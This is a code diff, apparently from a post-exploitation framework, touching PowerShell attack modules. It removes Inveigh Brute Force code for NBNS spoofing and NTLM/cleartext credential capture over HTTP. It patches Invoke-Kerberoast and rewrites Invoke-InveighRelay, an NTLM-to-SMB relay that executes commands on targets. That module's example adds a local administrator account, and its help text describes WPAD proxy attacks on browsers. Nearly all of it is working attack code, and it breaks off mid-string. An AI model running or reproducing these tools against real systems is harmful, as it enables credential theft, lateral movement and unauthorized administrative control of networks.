0x0d,0x0a,0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73, - 0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d, - 0x0a,0x44,0x61,0x74,0x65,0x3a + - $HTTP_timestamp + - 0x0d,0x0a + - $HTTP_WWW_authenticate_header + - $NTLM + - 0x0d,0x0a,0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20, - 0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73, - 0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a,0x43,0x6f,0x6e,0x74,0x65,0x6e, - 0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20 + - $HTTP_content_length_bytes + - 0x0d,0x0a + - $HTTP_message_bytes - - } - elseif(($HTTPAuth -eq 'Basic' -and $HTTP_request_raw_URL -notmatch '/wpad.dat') -or ($WPADAuth -eq 'Basic' -and $HTTP_request_raw_URL -match '/wpad.dat')) - { - $Basic = [System.Text.Encoding]::UTF8.GetBytes("Basic realm=$HTTPBasicRealm") - $HTTP_message_bytes = 0x0d,0x0a - $HTTP_content_length_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message.Length) - $HTTP_message_bytes += [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) - $HTTP_client_close = $true - - $HTTP_response = 0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20 + - $HTTP_response_status_code + - 0x20 + - $HTTP_response_phrase + - 0x0d,0x0a,0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73, - 0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d, - 0x0a,0x44,0x61,0x74,0x65,0x3a + - $HTTP_timestamp + - 0x0d,0x0a + - $HTTP_WWW_authenticate_header + - $Basic + - 0x0d,0x0a,0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20, - 0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73, - 0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a,0x43,0x6f,0x6e,0x74,0x65,0x6e, - 0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20 + - $HTTP_content_length_bytes + - 0x0d,0x0a + - $HTTP_message_bytes - - } - else - { - $HTTP_response_status_code = 0x32,0x30,0x30 - $HTTP_response_phrase = 0x4f,0x4b - $HTTP_message_bytes = 0x0d,0x0a - $HTTP_content_length_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message.Length) - $HTTP_message_bytes += [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) - $HTTP_client_close = $true - - $HTTP_response = 0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20 + - $HTTP_response_status_code + - 0x20 + - $HTTP_response_phrase + - 0x0d,0x0a,0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73, - 0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d, - 0x0a,0x44,0x61,0x74,0x65,0x3a + - $HTTP_timestamp + - 0x0d,0x0a,0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20, - 0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x3b,0x20,0x63,0x68,0x61,0x72,0x73, - 0x65,0x74,0x3d,0x75,0x74,0x66,0x2d,0x38,0x0d,0x0a,0x43,0x6f,0x6e,0x74,0x65,0x6e, - 0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20 + - $HTTP_content_length_bytes + - 0x0d,0x0a + - $HTTP_message_bytes - } - - $HTTP_stream.Write($HTTP_response,0,$HTTP_response.Length) - $HTTP_stream.Flush() - Start-Sleep -m 10 - $HTTP_request_raw_URL_old = $HTTP_request_raw_URL - $HTTP_client_handle_old = $inveigh.HTTP_client.Client.Handle - - if($HTTP_client_close) - { - $inveigh.HTTP_client.Close() - - if($RunCount -gt 0 -and ($inveigh.NTLMv1_list.Count -ge $run_count_NTLMv1 -or $inveigh.NTLMv2_list.Count -ge $run_count_NTLMv2 -or $inveigh.cleartext_list.Count -ge $run_count_cleartext)) - { - HTTPListenerStop - $inveigh.console_queue.Add("Inveigh Brute Force exited due to run count at $(Get-Date -format 's')") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Brute Force exited due to run count")]) - $inveigh.bruteforce_running = $false - } - - } - - $HTTP_client_close = $false - } - -} - -$spoofer_scriptblock = -{ - param ($SpooferIP,$Hostname,$SpooferTarget,$NBNSPause,$NBNSTTL) - - $Hostname = $Hostname.ToUpper() - - $hostname_bytes = 0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41, - 0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x41,0x41,0x00 - - $hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($Hostname) - $hostname_encoded = [System.BitConverter]::ToString($hostname_encoded) - $hostname_encoded = $hostname_encoded.Replace("-","") - $hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($hostname_encoded) - $NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL) - [Array]::Reverse($NBNS_TTL_bytes) - - for($i=0; $i -lt $hostname_encoded.Count; $i++) - { - - if($hostname_encoded[$i] -gt 64) - { - $hostname_bytes[$i] = $hostname_encoded[$i] + 10 - } - else - { - $hostname_bytes[$i] = $hostname_encoded[$i] + 17 - } - - } - - $NBNS_response_packet = 0x00,0x00,0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20 + - $hostname_bytes + - 0x00,0x20,0x00,0x01 + - $NBNS_TTL_bytes + - 0x00,0x06,0x00,0x00 + - ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + - 0x00,0x00,0x00,0x00 - - $inveigh.console_queue.Add("$(Get-Date -format 's') - Starting NBNS brute force spoofer to resolve $Hostname on $SpooferTarget") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Starting NBNS brute force spoofer to resolve $Hostname on $SpooferTarget")]) - $NBNS_paused = $false - $send_socket = New-Object System.Net.Sockets.UdpClient(137) - $destination_IP = [System.Net.IPAddress]::Parse($SpooferTarget) - $destination_point = New-Object Net.IPEndpoint($destination_IP,137) - $send_socket.Connect($destination_point) - - while($inveigh.bruteforce_running) - { - - :NBNS_spoofer_loop while (!$inveigh.hostname_spoof -and $inveigh.bruteforce_running) - { - - if($NBNS_paused) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - Resuming NBNS brute force spoofer") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Resuming NBNS brute force spoofer")]) - $NBNS_paused = $false - } - - for ($i = 0; $i -lt 255; $i++) - { - - for ($j = 0; $j -lt 255; $j++) - { - $NBNS_response_packet[0] = $i - $NBNS_response_packet[1] = $j - $send_socket.send( $NBNS_response_packet,$NBNS_response_packet.Length) - - if($inveigh.hostname_spoof -and $NBNSPause) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - Pausing NBNS brute force spoofer") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Pausing NBNS brute force spoofer")]) - $NBNS_paused = $true - break NBNS_spoofer_loop - } - - } - - } - - } - - Start-Sleep -m 5 - } - - $send_socket.Close() - } - -$control_bruteforce_scriptblock = -{ - param ($NBNSPause,$RunTime) - - if($RunTime) - { - $control_timeout = new-timespan -Minutes $RunTime - $control_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - } - - if($NBNSPause) - { - $NBNS_pause = new-timespan -Seconds $NBNSPause - } - - while ($inveigh.bruteforce_running) - { - - if($RunTime) - { - - if($control_stopwatch.Elapsed -ge $control_timeout) - { - - if($inveigh.HTTP_listener.IsListening) - { - $inveigh.HTTP_listener.Stop() - $inveigh.HTTP_listener.Close() - } - - if($inveigh.bruteforce_running) - { - HTTPListenerStop - $inveigh.console_queue.Add("Inveigh Brute Force exited due to run time at $(Get-Date -format 's')") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Brute Force exited due to run time")]) - Start-Sleep -m 5 - $inveigh.bruteforce_running = $false - } - - if($inveigh.relay_running) - { - $inveigh.console_queue.Add("Inveigh Relay exited due to run time at $(Get-Date -format 's')") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Relay exited due to run time")]) - Start-Sleep -m 5 - $inveigh.relay_running = $false - } - - if($inveigh.running) - { - $inveigh.console_queue.Add("Inveigh exited due to run time at $(Get-Date -format 's')") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh exited due to run time")]) - Start-Sleep -m 5 - $inveigh.running = $false - } - - } - } - - if($NBNSPause -and $inveigh.hostname_spoof) - { - - if($inveigh.NBNS_stopwatch.Elapsed -ge $NBNS_pause) - { - $inveigh.hostname_spoof = $false - } - - } - - if($inveigh.file_output -and !$inveigh.running) - { - - while($inveigh.log_file_queue.Count -gt 0) - { - $inveigh.log_file_queue[0]|Out-File $inveigh.log_out_file -Append - $inveigh.log_file_queue.RemoveRange(0,1) - } - - while($inveigh.NTLMv1_file_queue.Count -gt 0) - { - $inveigh.NTLMv1_file_queue[0]|Out-File $inveigh.NTLMv1_out_file -Append - $inveigh.NTLMv1_file_queue.RemoveRange(0,1) - } - - while($inveigh.NTLMv2_file_queue.Count -gt 0) - { - $inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append - $inveigh.NTLMv2_file_queue.RemoveRange(0,1) - } - - while($inveigh.cleartext_file_queue.Count -gt 0) - { - $inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append - $inveigh.cleartext_file_queue.RemoveRange(0,1) - } - - } - - Start-Sleep -m 5 - } - } - -# End ScriptBlocks -# Begin Startup functions - -# HTTP Listener Startup function -function HTTPListener() -{ - - if($HTTPIP) - { - $HTTPIP = [System.Net.IPAddress]::Parse($HTTPIP) - $inveigh.HTTP_endpoint = New-Object System.Net.IPEndPoint($HTTPIP,$HTTPPort) - } - else - { - $inveigh.HTTP_endpoint = New-Object System.Net.IPEndPoint([System.Net.IPAddress]::any,$HTTPPort) - } - - $inveigh.HTTP_listener = New-Object System.Net.Sockets.TcpListener $inveigh.HTTP_endpoint - $inveigh.HTTP_listener.Start() - $HTTP_runspace = [RunspaceFactory]::CreateRunspace() - $HTTP_runspace.Open() - $HTTP_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) - $HTTP_powershell = [PowerShell]::Create() - $HTTP_powershell.Runspace = $HTTP_runspace - $HTTP_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($HTTPAuth).AddArgument($HTTPBasicRealm).AddArgument($HTTPResponse).AddArgument( - $NBNSPause).AddArgument($WPADAuth).AddArgument($WPADIP).AddArgument($WPADPort).AddArgument( - $WPADDirectHosts).AddArgument($WPADResponse).AddArgument($RunCount) > $null - $HTTP_powershell.BeginInvoke() > $null -} - -# Spoofer Startup function -function Spoofer() -{ - $spoofer_runspace = [RunspaceFactory]::CreateRunspace() - $spoofer_runspace.Open() - $spoofer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) - $spoofer_powershell = [PowerShell]::Create() - $spoofer_powershell.Runspace = $spoofer_runspace - $spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $spoofer_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null - $spoofer_powershell.AddScript($spoofer_scriptblock).AddArgument($SpooferIP).AddArgument($Hostname).AddArgument( - $SpooferTarget).AddArgument($NBNSPause).AddArgument($NBNSTTL) > $null - $spoofer_powershell.BeginInvoke() > $null -} - -# Control Brute Force Startup function -function ControlBruteForceLoop() -{ - $control_bruteforce_runspace = [RunspaceFactory]::CreateRunspace() - $control_bruteforce_runspace.Open() - $control_bruteforce_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) - $control_bruteforce_powershell = [PowerShell]::Create() - $control_bruteforce_powershell.Runspace = $control_bruteforce_runspace - $control_bruteforce_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $control_bruteforce_powershell.AddScript($control_bruteforce_scriptblock).AddArgument($NBNSPause).AddArgument($RunTime) > $null - $control_bruteforce_powershell.BeginInvoke() > $null -} - -# End Startup functions - -# Startup Enabled Services - -# HTTP Server Start -if($HTTP -eq 'Y') -{ - HTTPListener -} - -# Spoofer Start -if($NBNS -eq 'Y') -{ - Spoofer -} - -# Control Brute Force Loop Start -if($NBNSPause -or $RunTime -or $inveigh.file_output) -{ - ControlBruteForceLoop -} - -if($inveigh.console_output) -{ - - :console_loop while(($inveigh.bruteforce_running -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) - { - - while($inveigh.console_queue.Count -gt 0) - { - - if($inveigh.output_stream_only) - { - Write-Output($inveigh.console_queue[0] + $inveigh.newline) - $inveigh.console_queue.RemoveRange(0,1) - } - else - { - - switch -wildcard ($inveigh.console_queue[0]) - { - - "Inveigh *exited *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - "* written to *" - { - - if($inveigh.file_output) - { - Write-Warning $inveigh.console_queue[0] - } - - $inveigh.console_queue.RemoveRange(0,1) - } - - "* for relay *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - "*SMB relay *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - "* local administrator *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - default - { - Write-Output $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - } - - } - - } - - if($inveigh.console_input) - { - - if([Console]::KeyAvailable) - { - $inveigh.console_output = $false - BREAK console_loop - } - - } - - Start-Sleep -m 5 - } - -} - -if($inveigh.file_output -and !$inveigh.running) -{ - - while($inveigh.log_file_queue.Count -gt 0) - { - $inveigh.log_file_queue[0]|Out-File $inveigh.log_out_file -Append - $inveigh.log_file_queue.RemoveRange(0,1) - } - - while($inveigh.NTLMv1_file_queue.Count -gt 0) - { - $inveigh.NTLMv1_file_queue[0]|Out-File $inveigh.NTLMv1_out_file -Append - $inveigh.NTLMv1_file_queue.RemoveRange(0,1) - } - - while($inveigh.NTLMv2_file_queue.Count -gt 0) - { - $inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append - $inveigh.NTLMv2_file_queue.RemoveRange(0,1) - } - - while($inveigh.cleartext_file_queue.Count -gt 0) - { - $inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append - $inveigh.cleartext_file_queue.RemoveRange(0,1) - } - -} - -} diff --git a/data/module_source/credentials/Invoke-Kerberoast.ps1 b/data/module_source/credentials/Invoke-Kerberoast.ps1 index e804886..9b2f57e 100644 --- a/data/module_source/credentials/Invoke-Kerberoast.ps1 +++ b/data/module_source/credentials/Invoke-Kerberoast.ps1 @@ -551,6 +551,11 @@ Outputs a custom object containing the SamAccountName, DistinguishedName, Servic $DistinguishedName = $Null } + # if a user has multiple SPNs we only take the first one otherwise the service ticket request fails miserably :) + if($UserSPN -is [System.DirectoryServices.ResultPropertyValueCollection]){ + $UserSPN = $UserSPN[0] + } + $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN $TicketByteStream = $Ticket.GetRequest() if ($TicketByteStream) { diff --git a/data/module_source/lateral_movement/Invoke-InveighRelay.ps1 b/data/module_source/lateral_movement/Invoke-InveighRelay.ps1 index 11747f7..48dbde7 100644 --- a/data/module_source/lateral_movement/Invoke-InveighRelay.ps1 +++ b/data/module_source/lateral_movement/Invoke-InveighRelay.ps1 @@ -5,91 +5,158 @@ function Invoke-InveighRelay Invoke-InveighRelay performs NTLMv2 HTTP to SMB relay with psexec style command execution. .DESCRIPTION -Invoke-InveighRelay currently supports NTLMv2 HTTP to SMB relay with psexec style command execution. +Invoke-InveighRelay currently supports NTLMv2 HTTP to SMB1/SMB2 relay with psexec style command execution. HTTP/HTTPS to SMB NTLMv2 relay with granular control + Supports SMB1 and SMB2 targets + Does not require priveleged access on the Invoke-InveighRelay host + The Invoke-InveighRelay host can be targeted for privilege escalation NTLMv1/NTLMv2 challenge/response capture over HTTP/HTTPS Granular control of console and file output - Can be executed as either a standalone function or through Invoke-Inveigh - -.PARAMETER HTTP -Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. - -.PARAMETER HTTPS -Default = Disabled: (Y/N) Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in -the local store and attached to port 443. If the script does not exit gracefully, execute -"netsh http delete sslcert ipport=0.0.0.0:443" and manually remove the certificate from "Local Computer\Personal" -in the cert store. - -.PARAMETER HTTPSCertAppID -Specify a valid application GUID for use with the ceriticate. - -.PARAMETER HTTPSCertThumbprint -Specify a certificate thumbprint for use with a custom certificate. The certificate filename must be located in -the current working directory and named Inveigh.pfx. .PARAMETER Challenge -Default = Random: Specify a 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a -random challenge will be generated for each request. Note that during SMB relay attempts, the challenge will be +Default = Random: 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random +challenge will be generated for each request. Note that during SMB relay attempts, the challenge will be pulled from the SMB relay target. -.PARAMETER MachineAccounts -Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts. - -.PARAMETER WPADAuth -Default = NTLM: (Anonymous,NTLM) Specify the HTTP/HTTPS server authentication type for wpad.dat requests. Setting -to Anonymous can prevent browser login prompts. - -.PARAMETER SMBRelayTarget -IP address of system to target for SMB relay. - -.PARAMETER SMBRelayCommand +.PARAMETER Command Command to execute on SMB relay target. Use PowerShell character escapes where necessary. -.PARAMETER SMBRelayUsernames -Default = All Usernames: Comma separated list of usernames to use for relay attacks. Accepts both username and -domain\username format. - -.PARAMETER SMBRelayAutoDisable -Default = Enable: (Y/N) Automaticaly disable SMB relay after a successful command execution on target. - -.PARAMETER SMBRelayNetworkTimeout -Default = No Timeout: (Integer) Set the duration in seconds that Inveigh will wait for a reply from the SMB relay -target after each packet is sent. - .PARAMETER ConsoleOutput -Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to -ensure that it doesn't hang the shell. +Default = Disabled: (Low/Medium/Y/N) Enable/Disable real time console output. If using this option through a +shell, test to ensure that it doesn't hang the shell. Medium and Low can be used to reduce output. + +.PARAMETER ConsoleQueueLimit +Default = Unlimited: Maximum number of queued up console log entries when not using the real time console. + +.PARAMETER ConsoleStatus +(Integer) Interval in minutes for displaying all unique captured hashes and credentials. This is useful for +displaying full capture lists when running through a shell that does not have access to the support functions. + +.PARAMETER ConsoleUnique +Default = Enabled: (Y/N) Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname, +and username combinations when real time console output is enabled. .PARAMETER FileOutput Default = Disabled: (Y/N) Enable/Disable real time file output. -.PARAMETER StatusOutput -Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. +.PARAMETER FileOutputDirectory +Default = Working Directory: Valid path to an output directory for log and capture files. FileOutput must also be +enabled. + +.PARAMETER HTTP +Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. + +.PARAMETER HTTPIP +Default = Any: IP address for the HTTP/HTTPS listener. + +.PARAMETER HTTPPort +Default = 80: TCP port for the HTTP listener. + +.PARAMETER HTTPS +Default = Disabled: (Y/N) Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in +the local store. If the script does not exit gracefully, manually remove the certificate. This feature requires +local administrator access. + +.PARAMETER HTTPSPort +Default = 443: TCP port for the HTTPS listener. + +.PARAMETER HTTPSCertIssuer +Default = Inveigh: The issuer field for the cert that will be installed for HTTPS. + +.PARAMETER HTTPSCertSubject +Default = localhost: The subject field for the cert that will be installed for HTTPS. + +.PARAMETER HTTPSForceCertDelete +Default = Disabled: (Y/N) Force deletion of an existing certificate that matches HTTPSCertIssuer and +HTTPSCertSubject. + +.PARAMETER HTTPResetDelay +Default = Firefox: Comma separated list of keywords to use for filtering browser user agents. Matching browsers +will have a delay before their connections are reset when Inveigh doesn't receive data. This can increase the +chance of capturing/relaying authentication through a popup box with some browsers (Firefox). + +.PARAMETER HTTPResetDelayTimeout +Default = 30 Seconds: HTTPResetDelay timeout in seconds. + +.PARAMETER LogOutput +Default = Enabled: (Y/N) Enable/Disable storing log messages in memory. + +.PARAMETER MachineAccounts +Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts. .PARAMETER OutputStreamOnly Default = Disabled: Enable/Disable forcing all output to the standard output stream. This can be helpful if running Inveigh Relay through a shell that does not return other output streams. Note that you will not see the various yellow warning messages if enabled. -.PARAMETER OutputDir -Default = Working Directory: Set a valid path to an output directory for log and capture files. FileOutput must -also be enabled. +.PARAMETER ProxyRelay +Default = Disabled: (Y/N): Enable/Disable relaying proxy authentication. + +.PARAMETER ProxyIP +Default = Any: IP address for the proxy listener. + +.PARAMETER ProxyPort +Default = 8182: TCP port for the proxy listener. + +.PARAMETER ProxyIgnore +Default = Firefox: Comma separated list of keywords to use for filtering browser user agents. Matching browsers +will not be sent the wpad.dat file used for capturing proxy authentications. Firefox does not work correctly +with the proxy server failover setup. Firefox will be left unable to connect to any sites until the proxy is +cleared. Remove "Firefox" from this list to attack Firefox. If attacking Firefox, consider setting +-SpooferRepeat N to limit attacks against a single target so that victims can recover Firefox connectivity by +closing and reopening. + +.PARAMETER RelayAutoDisable +Default = Enable: (Y/N) Enable/Disable automaticaly disabling SMB relay after a successful command execution on +target. + +.PARAMETER RelayAutoExit +Default = Enable: (Y/N) Enable/Disable automaticaly exiting after a relay is disabled due to success or error. .PARAMETER RunTime -(Integer) Set the run time duration in minutes. +(Integer) Run time duration in minutes. + +.PARAMETER Service +Default = 20 Character Random: Name of the service to create and delete on the target. .PARAMETER ShowHelp Default = Enabled: (Y/N) Enable/Disable the help messages at startup. +.PARAMETER SMB1 +(Switch) Force SMB1. The default behavior is to perform SMB version negotiation and use SMB2 if supported by the +target. + +.PARAMETER StartupChecks +Default = Enabled: (Y/N) Enable/Disable checks for in use ports and running services on startup. + +.PARAMETER StatusOutput +Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. + +.PARAMETER Target +IP address of system to target for SMB relay. + .PARAMETER Tool -Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's -Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire +Default = 0: (0/1/2) Enable/Disable features for better operation through external tools such as Meterpreter's +PowerShell extension, Metasploit's Interactive PowerShell Sessions payloads and Empire. +0 = None, 1 = Metasploit/Meterpreter, 2 = Empire + +.PARAMETER Usernames +Default = All Usernames: Comma separated list of usernames to use for relay attacks. Accepts both username and +domain\username format. + +.PARAMETER WPADAuth +Default = NTLM: (Anonymous/NTLM) HTTP/HTTPS server authentication type for wpad.dat requests. Setting to +Anonymous can prevent browser login prompts. + +.PARAMETER WPADAuthIgnore +Default = Firefox: Comma separated list of keywords to use for filtering browser user agents. Matching browsers +will be skipped for NTLM authentication. This can be used to filter out browsers like Firefox that display login +popups for authenticated wpad.dat requests such as Firefox. .EXAMPLE -Invoke-InveighRelay -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "net user Dave Spring2016 /add && net localgroup administrators Dave /add" -Execute with SMB relay enabled with a command that will create a local administrator account on the SMB relay -target. +Invoke-Inveigh -HTTP N +Invoke-InveighRelay -Target 192.168.2.55 -Command "net user Inveigh Spring2017 /add && net localgroup administrators Inveigh /add" .LINK https://github.com/Kevin-Robertson/Inveigh @@ -99,93 +166,136 @@ https://github.com/Kevin-Robertson/Inveigh [CmdletBinding()] param ( - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTP="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTPS="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ConsoleOutput="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileOutput="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StatusOutput="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$OutputStreamOnly="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$MachineAccounts="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ShowHelp="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SMBRelayAutoDisable="Y", - [parameter(Mandatory=$false)][ValidateSet("Anonymous","NTLM")][String]$WPADAuth="NTLM", - [parameter(Mandatory=$false)][ValidateSet("0","1","2")][String]$Tool="0", - [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$OutputDir="", - [parameter(Mandatory=$true)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SMBRelayTarget ="", - [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][String]$Challenge="", - [parameter(Mandatory=$false)][Array]$SMBRelayUsernames="", - [parameter(Mandatory=$false)][Int]$SMBRelayNetworkTimeout="", - [parameter(Mandatory=$false)][Int]$RunTime="", - [parameter(Mandatory=$true)][String]$SMBRelayCommand = "", - [parameter(Mandatory=$false)][String]$HTTPSCertAppID="00112233-4455-6677-8899-AABBCCDDEEFF", - [parameter(Mandatory=$false)][String]$HTTPSCertThumbprint="98c1d54840c5c12ced710758b6ee56cc62fa1f0d", + [parameter(Mandatory=$false)][Array]$HTTPResetDelay = "Firefox", + [parameter(Mandatory=$false)][Array]$ProxyIgnore = "Firefox", + [parameter(Mandatory=$false)][Array]$Usernames = "", + [parameter(Mandatory=$false)][Array]$WPADAuthIgnore = "", + [parameter(Mandatory=$false)][Int]$ConsoleQueueLimit = "-1", + [parameter(Mandatory=$false)][Int]$ConsoleStatus = "", + [parameter(Mandatory=$false)][Int]$HTTPPort = "80", + [parameter(Mandatory=$false)][Int]$HTTPSPort = "443", + [parameter(Mandatory=$false)][Int]$HTTPResetDelayTimeout = "30", + [parameter(Mandatory=$false)][Int]$ProxyPort = "8492", + [parameter(Mandatory=$false)][Int]$RunTime = "", + [parameter(Mandatory=$true)][String]$Command = "", + [parameter(Mandatory=$false)][String]$HTTPSCertIssuer = "Inveigh", + [parameter(Mandatory=$false)][String]$HTTPSCertSubject = "localhost", + [parameter(Mandatory=$false)][String]$Service, + [parameter(Mandatory=$true)][String]$Target = "", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ConsoleUnique = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileOutput = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTP = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTPS = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTPSForceCertDelete = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$LogOutput = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$MachineAccounts = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$OutputStreamOnly = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$Proxy = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$RelayAutoDisable = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$RelayAutoExit = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ShowHelp = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StartupChecks = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StatusOutput = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N","Low","Medium")][String]$ConsoleOutput = "N", + [parameter(Mandatory=$false)][ValidateSet("0","1","2")][String]$Tool = "0", + [parameter(Mandatory=$false)][ValidateSet("Anonymous","NTLM")][String]$WPADAuth = "NTLM", + [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$FileOutputDirectory = "", + [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][String]$Challenge = "", + [parameter(Mandatory=$false)][Switch]$SMB1, + [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$HTTPIP = "0.0.0.0", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$ProxyIP = "0.0.0.0", [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter ) if ($invalid_parameter) { - throw "$($invalid_parameter) is not a valid parameter." + Write-Output "Error:$($invalid_parameter) is not a valid parameter." + throw } -if(!$SMBRelayTarget) -{ - throw "You must specify an 